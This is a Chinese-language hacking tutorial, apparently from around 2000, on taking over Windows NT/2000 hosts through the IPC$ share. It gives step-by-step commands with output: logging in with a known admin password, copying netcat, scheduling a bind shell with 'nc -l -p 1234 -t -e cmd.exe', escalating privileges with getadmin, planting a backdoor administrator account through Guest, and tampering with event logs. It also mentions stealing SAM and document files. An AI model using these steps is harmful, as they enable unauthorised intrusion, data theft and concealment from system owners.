声明:其实针对IPC漏洞***的方法目前已经有很多的教程,但是其中很多教程并不完整,所以还是有很多网友来信问我关于IPC漏洞***的有关问题,这就是我写这篇文章的原因了。如果你觉得本文也不完整,那只好去找更好的版本了,但是我希望你能把你的意见和建议告诉我,让我不断的完善这篇文章。本文参考了小榕的流光2000说明文档及其它相关文档,也包含了一些自己的心得体会。



    IPC是Internet Process Connection的缩写,也就是远程网络连接。它是WindowsNT及Windows2000特有的一项功能,特点是在同一时间内,两个IP之间只允许建立一个连接。好了,废话少说,现在进入主题。

  如何找到具有IPC漏洞的主机呢?以前我都是组合一个国外的扫描工具(名字我忘了)和KillUSA的LetMeIn,因为很多工作都是手工完成的,所以速度可想而知了。现在因为有了小榕的流光2000,所以找到这样的主机实在是太简单了,具体操作我就不说了,大家可以参考该软件的说明文档。

  好了,假设我们已经找到了一台这样的主机,地址是139.223.200.xxx,管理员帐号是Administrator,密码是123456。进入命令行方式,正式开工。需要说明的是,以下操作都是在目标主机没有禁止远程IPC$连接和启动Schedule服务的理想情况下进行的。

  F:>net use 139.223.200.xxxipc$123456/user:Administrator

  命令成功完成。

  F:>copy nc.exe 139.223.200.xxxadmin$

  已复制 1 个文件。

  F:>net time 139.223.200.xxx

  139.223.200.xxx 的当前时间是 2000/12/25 上午 10:25

  在 139.223.200.xxx 的本地时间 (GMT - 07:00) 是 2000/12/25 上午10:35

  命令成功完成。

  F:>at 139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe

  新增加了一项作业,其作业 ID = 0

  F:>telnet 139.223.200.xxx 1234

  上面的命令很简单,你只要参考一下net,at和nc的用法就可以了。这样,我们就登上了远程的主机。最理想的情况是这样的,但是,也许你会遇到目标主机的Schedule服务没有启动的情况,那么,at命令就不能用了,我们就需要增加以下步骤。

  F:>at 139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe

  服务仍未启动。

  F:>netsvc 139.223.200.xxx schedule /start

  Service is running on 139.223.200.xxx

  登上远程主机之后,我们可以做什么呢?这要视这个帐号的权限以及该主机的安全策略来决定。如果你的权限不够的话,可以试试下面的步骤。首先在本地执行下面的命令。

  F:>copy getadmin.exe 139.223.200.xxxadmin$

  已复制 1 个文件。

  F:>copy gasys.dll 139.223.200.xxxadmin$

  已复制 1 个文件。

  其次,在远程主机运行下面的命令。

  C:WINNTsystem32>getadmin

  如果成功的话,你就是这台主机的管理员了,权限够大了吧?:-)

  那么,现在我们能做什么呢?改主页?下载SAM数据库?都可以啦!方法有很多,我就不一一说了,具体方法可以参考相关教程。我一般对目标主机上的WORD文档和数据库比较感兴趣,呵呵。。。

  其实,如果你在这台机子上面放个***或者病毒什么的东东,做起事来更容易一些,但是我觉得如果你跟他没什么深仇大恨的话,还是不要这么做了,这样不好。

  作完了你要做的事,不要忘了做个后门。

  C:WINNTsystem32>net user Guest 30906766

  net use Guest 30906766

  The command completed successfully.

  C:WINNTsystem32>net localgroup administrators Guest /add

  net localgroup administrators Guest /add

  The command completed successfully.

  这是个比较简单的后门,要想做的更好一些,可以象Linux那样,做出一套RootKits来,其实这样的东东目前已经有了,你只要拿来用就可以了。现在搞破坏真是简单多了,那么多的傻瓜工具任你用,哎!要想自保,不学点安全知识怎么行呢?

  最后,我们得修理一下日志。虽然Redp0wer告诉我很少管理员会看NT的日志,但是我想修理一下还是有用的。NT的日志在什么地方呢?可以参考XUNDI的文章。但是有一点要记住的是,日志只能修改,不能删除,否则就是自己把自己出卖了!:-)这方面的命令行工具也不少,你可以到一些国外的站点去看看。

  其实有了这台主机,你还可以做的更多。